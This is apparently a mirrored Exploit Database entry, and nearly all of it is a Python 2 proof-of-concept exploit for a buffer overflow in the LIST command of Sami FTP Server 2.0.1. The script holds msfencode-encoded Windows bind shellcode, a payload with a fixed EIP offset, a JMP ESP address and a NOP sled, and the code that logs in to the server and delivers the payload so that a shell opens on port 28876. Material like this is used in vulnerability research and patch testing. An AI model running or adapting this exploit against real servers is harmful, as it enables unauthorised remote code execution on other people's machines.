Sami FTP Server 2.0.1 – ‘LIST’ Buffer Overflow

• Exploit Database
• 11 阅读

• 作者： superkojiman
  日期： 2013-03-01
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24557/

• #!/usr/bin/env python
  
  # Exploit Title: Sami FTP LIST buffer overflow
  # Date: 27 Feb 2013
  # Exploit Author: superkojiman - http://www.techorganic.com
  # Vendor Homepage: http://www.karjasoft.com/old.php
  # Version: Sami FTP Server 2.0.1
  # Tested on: Windows XP Pro SP1, English
  #Windows XP Pro SP2, English
  #
  # Description: 
  # A buffer overflow is triggered when a long LIST command is sent to the 
  # server and the user views the Log tab. 
  #
  
  from socket import *
  import struct, sys
  
  IP = sys.argv[1]
  
  # Windows bind shellcode from https://code.google.com/p/w32-bind-ngs-shellcode/
  # Remove bad chars using msfencode: 
  # msfencode -b "\x00\x0a\x0d\x2f" -i w32-bind-ngs-shellcode.bin 
  # [*] x86/shikata_ga_nai succeeded with size 241 (iteration=1)
  shellcode = (
  "\xd9\xc7\xbe\x4d\xa5\xde\x30\xd9\x74\x24\xf4\x5f\x2b\xc9" +
  "\xb1\x36\x31\x77\x19\x03\x77\x19\x83\xc7\x04\xaf\x50\xef" +
  "\xf9\x4b\x10\x61\xca\x18\x50\x8e\xa1\x68\x81\x05\xdb\x9c" +
  "\x32\x67\x04\x17\x72\xa0\x0b\x3f\x0e\x23\xc2\x57\xc2\x9c" +
  "\xd6\x95\x4a\x45\x4f\xae\xf9\xe1\xd8\xdf\xf7\x69\xaf\x39" +
  "\xb2\x89\x99\x09\x94\x41\x50\x76\x31\xaa\xc9\x39\xef\x0c" +
  "\x5f\xee\x5e\x0c\xb0\x3c\xc5\x5d\xc4\x61\x39\xe9\x86\x84" +
  "\x39\xec\xdd\x3d\xf2\xce\x20\xa8\x53\x3e\xf1\x68\xd7\x74" +
  "\x64\x6d\x09\xc0\xb0\xc1\xe1\x58\x95\xdd\x36\xea\x90\x2a" +
  "\x7c\x2b\x2e\x3f\xdf\xb8\x9b\x9b\xe1\x57\x14\x54\xf5\xf6" +
  "\xa0\xd1\xea\xf9\x5f\x6c\xfa\xf9\x9b\xff\x50\x7d\x9d\xf6" +
  "\xd3\x76\x6f\x56\x18\xd4\x90\xb6\x77\x4f\xee\x08\x0b\x1a" +
  "\x5e\x2a\x46\x1b\x70\x7f\x67\x34\xe4\xfe\xb7\x4b\xf8\x8f" +
  "\xfb\xd9\x17\xd8\x56\x48\xe7\x36\x2d\xb3\x63\x4e\x1f\xe6" +
  "\xde\xc6\x03\x6b\xbb\x36\x49\x0f\x67\x0e\xfa\x5b\xcc\xa8" +
  "\xbb\x72\x12\x60\xc3\xb9\x31\xdf\x99\x93\x6b\x19\x5a\xfb" +
  "\x84\xf2\x37\x51\xc2\xae\x48\x03\x08\xc5\xf1\x50\x39\x13" +
  "\x02\x57\x45"
  )
  
  # EIP overwritten at offset 218
  # JMP ESP at 10028283 C:\Program Files\PMSystem\Temp\tmp0.dll (Universal)
  buf = "A" * 218 + struct.pack("<I", 0x10028283) + "\x90" * 37 + shellcode
  
  s = socket(AF_INET, SOCK_STREAM)
  s.connect((IP,21))
  print s.recv(1024)
  
  s.send("USER superkojiman\r\n")
  print s.recv(1024)
  
  s.send("PASS letmein\r\n")
  print s.recv(1024)
  
  print "[+] sending payload of size", len(buf)
  s.send("LIST " + buf + "\r\n")
  print s.recv(1024)
  
  s.close()
  print "[+] sent. Connect to %s on port 28876" % (sys.argv[1],)